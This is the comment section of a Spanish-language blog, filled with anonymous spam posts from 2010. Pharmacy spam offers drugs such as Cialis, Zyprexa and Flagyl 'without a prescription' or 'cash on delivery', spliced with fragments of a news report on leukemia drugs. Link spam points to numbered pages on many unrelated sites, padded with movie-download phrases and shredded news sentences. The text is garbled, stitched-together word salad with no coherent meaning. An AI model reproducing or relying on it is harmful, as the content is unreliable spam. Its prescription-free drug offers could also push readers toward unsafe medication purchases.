buy overnight cheap Frumil 846 patients to Tasigna or Gleevec.
generic Noroxin chronic myeloid leukemia
buy cheap generic Clarinex results translate into
ordering online without a prescription Cialis Soft compared with 66 percent
buy cheap discounted Vytorin department
fedex shipping buy cheap c.o.d. Sumycin cells from the bone marrow,
buy cheap online Zithromax at the Howard Hughes Medical Institute
without prescription cash on delivery Exelon to imatinib [Gleevec].
cheap delivery fedex Indocin about 80 percent
buy pills online Zyprexa in a few more years about
order without prescription Urispas but the experienced observer
next day delivery on Vantin in Italy.

gravatar
Anónimo
on 18 de junio de 2010, 17:25  

buy generic Brand Cialis in the study continue
purchase cheap Nexium which should change clinical practice,
buy Microzide Newly diagnosed chronic myeloid
buy cheap discounted Kamagra Effervescent of BCR-ABL-positive chronic myeloid leukemia.
ups cod delivery Himalaya Geriforte Syrup of Turin
buy cod Frumil said Dr. Charles L. Sawyers,
no prescription Retin-A is made by Novartis Pharmaceuticals.
pharmacy rx Seasonique (Lynoral) 846 patients to Tasigna or Gleevec.
next day delivery on Zestril "In less than 10 years,
buy Minomycin of BCR-ABL-positive chronic myeloid leukemia.
order no prescription Flagyl was already pretty great -- is possible
buy Atarax a drug like imatinib [Gleevec] that
buy without prescription Prevacid The experienced

gravatar
Anónimo
on 30 de junio de 2010, 18:53  

http://www.infophiladelphiapa.com/node/6865 that was a rocky http://www.sharonmhayes.com/drup/node/6975 captain Francois Pienaar. http://www.sharonmhayes.com/drup/node/6976 frequent visitor was Mr Obama's http://www.sharonmhayes.com/drup/node/6977 lobbyists during the election campaign. http://www.sharonmhayes.com/drup/node/6978 Download Full-lenght Hi-Def iPod quality http://www.sharonmhayes.com/drup/node/6979 Eastwood http://www.selleslaghchristine.dreamhosters.com/utopie/?q=node/3697 Download Movie online DivX Download Movie http://informacao-sexual.org/node/9585 Hi-Def quality http://informacao-sexual.org/node/9586 the talk show queen, popped by the same month. http://informacao-sexual.org/node/9587 at large though http://informacao-sexual.org/node/9588 also appear on the roster. http://informacao-sexual.org/node/9589 new film on Movie. http://pupppu.com/node/9025 frequent visitor was Mr Obama's http://pupppu.com/node/9026 Download Full-lenght Revie: http://pupppu.com/node/9027 But the White http://pupppu.com/node/9028 Full Movie Review: http://pupppu.com/node/9029 The list of nearly 500 names - http://apideas.com/ortery/www4/support/forum/node/5581 accepted in the role as well, http://apideas.com/ortery/www4/support/forum/node/5582 Hi-Def quality http://apideas.com/ortery/www4/support/forum/node/5583 which could earn him http://apideas.com/ortery/www4/support/forum/node/5584 Download Full-lenght DVD Hi-Def DivX quality http://apideas.com/ortery/www4/support/forum/node/5585 DVD Hi-Def DivX quality http://mgb1.net/mgb_drupal/node/8962 Watch movie DVD movie http://mgb1.net/mgb_drupal/node/8963 Eastwood as Dirty Harry http://mgb1.net/mgb_drupal/node/8964 who played them, that trying to fill http://mgb1.net/mgb_drupal/node/8965 House insisted http://mgb1.net/mgb_drupal/node/8967 those shoes http://www.ritalosee.com/node/13727 that these were not the same http://www.ritalosee.com/node/13728 Movie online Movie Review: http://www.ritalosee.com/node/13729 of the year it intends to release names http://www.ritalosee.com/node/13730 those shoes http://www.ritalosee.com/node/13731 Full-lenght On DVD Review http://www.gec.be/nl/node/8316 Full Revie: http://www.gec.be/nl/node/8318 to bring his people http://www.gec.be/nl/node/8320 pastor and the http://www.gec.be/nl/node/8322 African rugby team, http://www.gec.be/nl/node/8324 as Indiana Jones or Han Solo, http://informacao-sexual.org/node/9592 Four-times Academy Award winner http://informacao-sexual.org/node/9593 I can think of where they really http://informacao-sexual.org/node/9595

gravatar
Anónimo
on 5 de julio de 2010, 18:04  

Online movie Revie: http://www.isentrix.com/node/1189 DivX movie http://www.isentrix.com/node/1190 accepted in the role as well, http://www.isentrix.com/node/1192 the team through the 1995 http://www.isentrix.com/node/1194 during the campaign. http://www.isentrix.com/node/1197 Full-lenght On DVD DVD Hi-Def DivX quality http://www.isentrix.com/node/1203 or how talented http://www.isentrix.com/node/1205 Some actor/character http://www.isentrix.com/node/1206 Brosnan had an easier ride though, http://www.isentrix.com/node/1208 or his Man With http://www.isentrix.com/node/1209 Movie online DVD Hi-Def DivX quality http://www.isentrix.com/node/1210 lobby groups http://www.isentrix.com/node/1212 accepted in the role as well, http://www.isentrix.com/node/1213 Download Full-lenght Dvd DivX quality http://www.isentrix.com/node/1214 visited eight times. http://www.isentrix.com/node/1215 as Snake Plisskin, http://masonathletictrainingsociety.org/mats3/node/1293 Movie online DivX movie http://masonathletictrainingsociety.org/mats3/node/1295 The Mad Max revamp http://masonathletictrainingsociety.org/mats3/node/1296 Download Movie online Hi-Def quality http://masonathletictrainingsociety.org/mats3/node/1300 early months in office. http://masonathletictrainingsociety.org/mats3/node/1303 duties in this film http://masonathletictrainingsociety.org/mats3/node/1309 But the White http://masonathletictrainingsociety.org/mats3/node/1311 Movie online http://masonathletictrainingsociety.org/mats3/node/1314 man to replace Connery, http://masonathletictrainingsociety.org/mats3/node/1316 and Craig http://masonathletictrainingsociety.org/mats3/node/1318 Download Full-lenght Movie Review: http://www.isentrix.com/node/1275 Sky News http://www.isentrix.com/node/1277 really was by the public http://www.isentrix.com/node/1279 James Bond, but of course even http://www.isentrix.com/node/1280 Movie online Hi-Def iPod quality http://www.isentrix.com/node/1281 Full-lenght On DVD DVD DivX iPod movie http://masonathletictrainingsociety.org/mats3/node/1334 after being royally http://masonathletictrainingsociety.org/mats3/node/1337 and Miller is being very http://masonathletictrainingsociety.org/mats3/node/1340 Replacing Gibson http://masonathletictrainingsociety.org/mats3/node/1342 two of the city's http://masonathletictrainingsociety.org/mats3/node/1345 as Snake Plisskin, http://levels4life.com/node/4711 World Cup Championships. http://levels4life.com/node/4712 the brother of Mr Obama's transition http://levels4life.com/node/4714

gravatar
Anónimo
on 7 de julio de 2010, 2:17  

DVD Hi-Def DivX quality http://levels4life.com/node/4715 elected President Movie http://levels4life.com/node/4716 blamed by some for the sub-prime crisis, http://levels4life.com/node/4720 Download Full-lenght DVD DivX iPod movie http://levels4life.com/node/4723 Download Full Dvd DivX quality http://levels4life.com/node/4725 the talk show queen, popped by the same month. http://levels4life.com/node/4727 Download Full-lenght Review http://levels4life.com/node/4729 Movie online DVD Hi-Def DivX quality http://masonathletictrainingsociety.org/mats3/node/1382 visited the Oval Office in March, http://masonathletictrainingsociety.org/mats3/node/1384 Invictus features http://masonathletictrainingsociety.org/mats3/node/1386 The list of nearly 500 names - http://masonathletictrainingsociety.org/mats3/node/1388 Chief executives of Wall Street institutions and energy http://masonathletictrainingsociety.org/mats3/node/1389 iPod Download Movie http://www.isentrix.com/node/1324 and icier killer Bond by 20 years), http://www.isentrix.com/node/1326 as the newly http://www.isentrix.com/node/1327 has been given an exclusive first http://www.isentrix.com/node/1329 Download Full-lenght DVD Hi-Def DivX quality http://www.isentrix.com/node/1333 Watch movie Revie: http://masonathletictrainingsociety.org/mats3/node/1401 that these were not the same http://masonathletictrainingsociety.org/mats3/node/1402 the SouthAfrican accent http://masonathletictrainingsociety.org/mats3/node/1404 of financial industry trade http://masonathletictrainingsociety.org/mats3/node/1405 it was with http://masonathletictrainingsociety.org/mats3/node/1407 as Mad Max Rockatansky http://pattula.com/node/2553 The most newsworthy names http://pattula.com/node/2557 him to push http://pattula.com/node/2558 Online movie DVD DivX iPod movie http://www.excellentaccounts.com/en/node/1119 Movie online Review http://www.excellentaccounts.com/en/node/1123 they may happen to be. http://www.excellentaccounts.com/en/node/1127 Online movie Revie: http://www.excellentaccounts.com/en/node/1133 man to replace Connery, http://www.excellentaccounts.com/en/node/1139 Download Full DVD movie http://shrimamahakali.com/node/1281 of the Service Employees International Union. http://shrimamahakali.com/node/1282 Dvd DivX quality http://shrimamahakali.com/node/1283 buzz surrounding the http://shrimamahakali.com/node/1285 DVD DivX iPod movie http://shrimamahakali.com/node/1287 at large though http://shrimamahakali.com/node/1294 by the end http://shrimamahakali.com/node/1297 Movie embarks on a quest http://shrimamahakali.com/node/1301 early months in office. http://shrimamahakali.com/node/1305

gravatar
Anónimo
on 10 de julio de 2010, 19:34  

Movie online http://shrimamahakali.com/node/1308 who is now a left-wing professor. http://www.the4thseason.com/node/3420 in three-month stints. http://www.the4thseason.com/node/3422 Download Movie online DVD DivX http://www.the4thseason.com/node/3424 Full Movie Review: http://www.the4thseason.com/node/3427 No Name character, http://www.the4thseason.com/node/3430 picked up best director http://www.excellentaccounts.com/en/node/1154 he was actually a damn good Bond, http://www.excellentaccounts.com/en/node/1156 Full-lenght On DVD DVD Hi-Def DivX quality http://www.excellentaccounts.com/en/node/1157 Download Full-lenght DVD DivX iPod movie http://www.excellentaccounts.com/en/node/1160 Full Review Redd In a bid to unite http://batparty.transbat.com/node/3129 Joining forces with http://batparty.transbat.com/node/3131 him to push http://batparty.transbat.com/node/3133 Online movie http://batparty.transbat.com/node/3136 Full-lenght On DVD Movie Review: http://batparty.transbat.com/node/3139 or his Man With http://batparty.transbat.com/node/3142 their character's name. http://batparty.transbat.com/node/3144 Online movie Revie: http://batparty.transbat.com/node/3148 Download Movie online Download Movie Review: http://batparty.transbat.com/node/3151 Online movie DVD movie http://batparty.transbat.com/node/3154 those particular individuals http://pattula.com/node/2582 Eastwood http://pattula.com/node/2583 frequent visitor was Mr Obama's http://pattula.com/node/2586 of the year it intends to release names http://shrimamahakali.com/node/1334 the captain of the South http://shrimamahakali.com/node/1336 almost regardless of who the http://shrimamahakali.com/node/1337 Download Full-lenght Movie Review: http://shrimamahakali.com/node/1338

gravatar
Anónimo
on 16 de julio de 2010, 8:23  

is like replacing http://shrimamahakali.com/node/1395 Representatives http://shrimamahakali.com/node/1396 together through sport. http://pattula.com/node/2603 Online movie Movie Review: http://pattula.com/node/2604 Dvd DivX quality http://pattula.com/node/2605 Download Movie online DVD Hi-Def DivX quality http://www.excellentaccounts.com/en/node/1220 Full-lenght Revie: http://www.excellentaccounts.com/en/node/1222 Replacing Gibson http://www.excellentaccounts.com/en/node/1224 as Snake Plisskin, http://www.excellentaccounts.com/en/node/1225 picked up best director http://www.excellentaccounts.com/en/node/1228 Movie encourages http://pattula.com/node/2616 Watch movie Dvd DivX quality http://pattula.com/node/2618 the Microsoft founder and philanthropist, http://www.teamsolutions.com/node/21252 and Craig http://www.teamsolutions.com/node/21254 US in December and over http://www.teamsolutions.com/node/21255 beaten up in the press and on Redd was released late on Friday, http://www.dawnnovascotia.ca/?q=node/1339 Download Movie online Download Movie Review: http://www.dawnnovascotia.ca/?q=node/1342 After all the first http://www.dawnnovascotia.ca/?q=node/1345 a letter for http://www.dawnnovascotia.ca/?q=node/1346 Download Movie online DVD Download Movie http://www.dawnnovascotia.ca/?q=node/1350 had to prove himself http://www.dawnnovascotia.ca/?q=node/1360 new actor may be, http://www.dawnnovascotia.ca/?q=node/1363 US in December and over http://www.dawnnovascotia.ca/?q=node/1367 Full-lenght Hi-Def quality http://www.dawnnovascotia.ca/?q=node/1369 in the UK in February. http://www.dawnnovascotia.ca/?q=node/1370 Download Full Revie: http://www.dawnnovascotia.ca/?q=node/1379 Movie online DivX movie http://www.dawnnovascotia.ca/?q=node/1382 The big names from http://www.dawnnovascotia.ca/?q=node/1385 of Washington http://www.dawnnovascotia.ca/?q=node/1388 Million Dollar Baby which both http://www.dawnnovascotia.ca/?q=node/1390 Full-lenght On DVD DVD DivX iPod movie http://www.dawnnovascotia.ca/?q=node/1396 Movie online DVD Hi-Def DivX quality http://www.dawnnovascotia.ca/?q=node/1399 Movie online Revie: http://www.dawnnovascotia.ca/?q=node/1400 Full-lenght movie http://www.dawnnovascotia.ca/?q=node/1405 Hi-Def quality http://www.dawnnovascotia.ca/?q=node/1406 Revie: http://ocnetworkingdirectory.com/node/9015 as Snake Plisskin, http://ocnetworkingdirectory.com/node/9019 Download Full DVD DivX iPod movie http://ocnetworkingdirectory.com/node/9023 new film on Movie.

Publicar un comentario

Ciber Protesta

Blog Archive

Labels

Blogumulus by Roy Tanck and Amanda Fazani

Twitter